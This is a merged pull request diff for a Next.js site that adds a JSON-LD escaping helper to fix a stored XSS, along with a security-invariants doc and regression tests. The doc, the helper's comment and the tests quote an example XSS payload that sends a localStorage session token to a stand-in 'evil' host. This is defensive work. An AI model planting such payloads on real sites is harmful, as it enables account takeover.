Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 3 additions & 2 deletions app/[locale]/docs/[...slug]/page.tsx
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import { source } from "@/lib/source";
import { safeJsonLdString } from "@/lib/json-ld";
import { SITE_URL } from "@/lib/site-url";
import { DocsPage, DocsBody } from "fumadocs-ui/page";
import { notFound } from "next/navigation";
Expand Down Expand Up @@ -104,12 +105,12 @@ export default async function DocPage({ params }: Param) {
<script
type="application/ld+json"
// eslint-disable-next-line react/no-danger
dangerouslySetInnerHTML={{ __html: JSON.stringify(articleJsonLd) }}
dangerouslySetInnerHTML={{ __html: safeJsonLdString(articleJsonLd) }}
/>
<script
type="application/ld+json"
// eslint-disable-next-line react/no-danger
dangerouslySetInnerHTML={{ __html: JSON.stringify(breadcrumbJsonLd) }}
dangerouslySetInnerHTML={{ __html: safeJsonLdString(breadcrumbJsonLd) }}
/>
<DocsPage toc={page.data.toc}>
<DocsBody>
Expand Down
3 changes: 2 additions & 1 deletion app/[locale]/u/[username]/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ import { GithubRepos, GithubReposSkeleton } from "./GithubRepos";
import { Suspense } from "react";
import { getTranslations } from "next-intl/server";
import { sanitizeExternalUrl } from "@/lib/url-safety";
import { safeJsonLdString } from "@/lib/json-ld";
import { SITE_URL } from "@/lib/site-url";

interface UserView {
Expand Down Expand Up @@ -367,7 +368,7 @@ export default async function UserProfilePage({ params }: Param) {
<script
type="application/ld+json"
// eslint-disable-next-line react/no-danger
dangerouslySetInnerHTML={{ __html: JSON.stringify(personJsonLd) }}
dangerouslySetInnerHTML={{ __html: safeJsonLdString(personJsonLd) }}
/>
<Header />
<main className="pt-32 pb-16 bg-[var(--background)] min-h-screen">
Expand Down
5 changes: 3 additions & 2 deletions app/layout.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
});

import { SITE_URL } from "@/lib/site-url";
import { safeJsonLdString } from "@/lib/json-ld";
const en_description =
"内卷地狱(Involution Hell)是一个由开发者发起的开源学习社区,专注算法、系统设计、工程实践与技术分享,帮助华人程序员高效成长,专注真实进步。Involution Hell is an open-source community empowering builders with real-world engineering.";

Expand Down Expand Up @@ -154,7 +155,7 @@
href="https://fonts.gstatic.com"
crossOrigin="anonymous"
/>
<link

Check warning on line 158 in app/layout.tsx

View workflow job for this annotation

GitHub Actions / build

Custom fonts not added in `pages/_document.js` will only load for a single page. This is discouraged. See: https://nextjs.org/docs/messages/no-page-custom-font
rel="stylesheet"
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&family=Playfair+Display:ital,wght@0,400;0,600;0,700;0,900;1,400&family=Lora:ital,wght@0,400;0,600;1,400&display=swap"
/>
Expand Down Expand Up @@ -205,7 +206,7 @@
type="application/ld+json"
// eslint-disable-next-line react/no-danger
dangerouslySetInnerHTML={{
__html: JSON.stringify({
__html: safeJsonLdString({
"@context": "https://schema.org",
"@type": "WebSite",
name: "Involution Hell",
Expand All @@ -227,7 +228,7 @@
<script
type="application/ld+json"
dangerouslySetInnerHTML={{
__html: JSON.stringify({
__html: safeJsonLdString({
"@context": "https://schema.org",
"@type": "Organization",
name: "Involution Hell",
Expand Down
46 changes: 46 additions & 0 deletions docs/SECURITY_INVARIANTS.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# 前端安全不变量(Security Invariants)

> 这是给维护者看的代码不变量清单。
> 公开的 vulnerability disclosure policy 见 `SECURITY.md`。

本文档登记前端代码中**不可变更的安全保护点**。
每条不变量都对应一段 lint / 测试 / 代码模式,CI 应能捕获回归。

后端有同名文档 `backend/SECURITY.md`,编号空间互不重叠:
后端用 `INV-001`/`INV-002`...,前端用 `INV-FE-001`/`INV-FE-002`...

## 维护规则

修改本文件涉及的代码时**必须更新对应测试 / lint 规则**。
删除任何一条不变量需在 PR 描述写明理由并 CC superadmin review。

每条不变量包含四个字段:

- **保护点**:被保护的代码位置
- **测试 / lint**:CI 检测手段(grep 规则 / 单元测试 / e2e)
- **为什么**:攻击场景与历史背景
- **历史**:诞生时间与背景

---

## INV-FE-001 · 嵌入 `<script type="application/ld+json">` 必须用 safeJsonLdString

- **保护点**:所有 `<script type="application/ld+json">` 块。
当前调用方:
- `app/[locale]/u/[username]/page.tsx`(personJsonLd,含用户 bio)
- `app/[locale]/docs/[...slug]/page.tsx`(articleJsonLd / breadcrumbJsonLd)
- `app/layout.tsx`(WebSite / Organization 结构化数据)
- **统一工具**:`lib/json-ld.ts` 的 `safeJsonLdString(payload)`
- **测试 / lint**:
- 暂时通过 grep 巡查兜底:
`rg -t tsx -t ts 'dangerouslySetInnerHTML' app/ | grep -v safeJsonLdString | grep "application/ld\\+json"`
应返回 0 行。建议未来加 ESLint 自定义规则。
- 现有单元测试见:`tests/json-ld.test.ts`
例如 `safeJsonLdString({bio: "</script><script>x</script>"})`
输出不能包含字面 `<` 或 `</script>`,并且应包含转义后的 `\\u003c` 序列。
- **为什么**:`JSON.stringify` 默认不转义 `<` `>` `&`,攻击者把
`</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>`
写进任何 user-generated 字段(profile bio、displayName 等)即触发 stored XSS。
satoken 存在 localStorage 且写入非 HttpOnly cookie(跨子域 pgAdmin 的设计取舍),
一次 XSS 等于完整账户接管。
- **历史**:2026-05-07 三方 CR attack chain A 起点(详见内部报告)。
34 changes: 34 additions & 0 deletions lib/json-ld.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
/**
* 把任意对象序列化为可安全嵌入 <script type="application/ld+json"> 的字符串。
*
* 安全不变量 INV-FE-001(见 SECURITY.md):
* 所有 dangerouslySetInnerHTML={{__html: JSON.stringify(jsonLd)}} 必须改用本函数。
*
* 攻击场景:用户在可控字段(bio / displayName 等 user-generated 字段)填入
* </script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>
* JSON.stringify 默认不转义 `<`,攻击者文本作为合法 JSON 字符串嵌入 <script> 块时,
* 浏览器仍先看到 </script> 闭合 script 块,接着把后续 <script> 当 inline JS 执行
* —— 典型 stored XSS。
*
* 阻断思路:把 JSON.stringify 输出中所有可能闭合 script 的字符替换成 \\uXXXX 字面 6 字符。
* 浏览器 HTML 解析器看不到 `<` 自然不会闭合 script;JSON.parse 仍能识别 \\u 转义还原。
*
* 同时转义 U+2028 / U+2029(行分隔符):JSON 内部合法,但若整段文本被误嵌入
* ECMAScript 源码上下文会被识别为行终止符破坏外层 JS 语法——defense-in-depth。
*/
export function safeJsonLdString(payload: unknown): string {
let serialized: string | undefined;

try {
serialized = JSON.stringify(payload);
} catch {
serialized = "null";
}

return (serialized ?? "null")
.replace(/</g, "\\u003c")
.replace(/>/g, "\\u003e")
.replace(/&/g, "\\u0026")
.replace(/\u2028/g, "\\u2028")
.replace(/\u2029/g, "\\u2029");
}
50 changes: 50 additions & 0 deletions tests/json-ld.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
/**
* INV-FE-001 回归测试:safeJsonLdString 必须把会闭合 <script> 块的字符
* 转义成 \uXXXX 字面 6 字符序列,让浏览器 HTML 解析器看不到 `<` `>`。
*
* 攻击载荷:
* bio = `</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>`
*
* JSON.stringify 默认输出原文,浏览器看到 `</script>` 就闭合 script block,
* 接着把后续 `<script>` 当 inline JS 执行——典型 stored XSS。
* safeJsonLdString 把所有 `<` 转成字面 6 字符 `\u003c`,浏览器看不到原始 `<`。
*/
import { describe, expect, test } from "vitest";
import { safeJsonLdString } from "../lib/json-ld";

describe("safeJsonLdString", () => {
test("转义攻击载荷 </script> 不再出现在输出里", () => {
const payload = {
bio: `</script><script>fetch("https://evil")</script>`,
};
const out = safeJsonLdString(payload);
expect(out).not.toContain("</script>");
expect(out).not.toContain("<script>");
// 必须包含字面转义形式(6 字符)
expect(out).toContain("\\u003c");
});

test("普通对象仍是合法 JSON(JSON.parse 能还原)", () => {
const original = {
name: "Involution Hell",
url: "https://involutionhell.com",
};
const out = safeJsonLdString(original);
expect(JSON.parse(out)).toEqual(original);
});

test("user-generated 字段含 < > & 都被转义", () => {
const out = safeJsonLdString({ field: "a<b>c&d" });
expect(out).not.toContain("<");
expect(out).not.toContain(">");
// & 也应该被转义为字面 `\\u0026`
expect(out).toContain("\\u0026");
});

test("JSON.parse 后还能拿到原始用户输入(往返保真)", () => {
const original = { bio: `恶意</script>载荷 with <b> & 'quotes'` };
const out = safeJsonLdString(original);
const parsed = JSON.parse(out);
expect(parsed.bio).toBe(original.bio);
});
});
Loading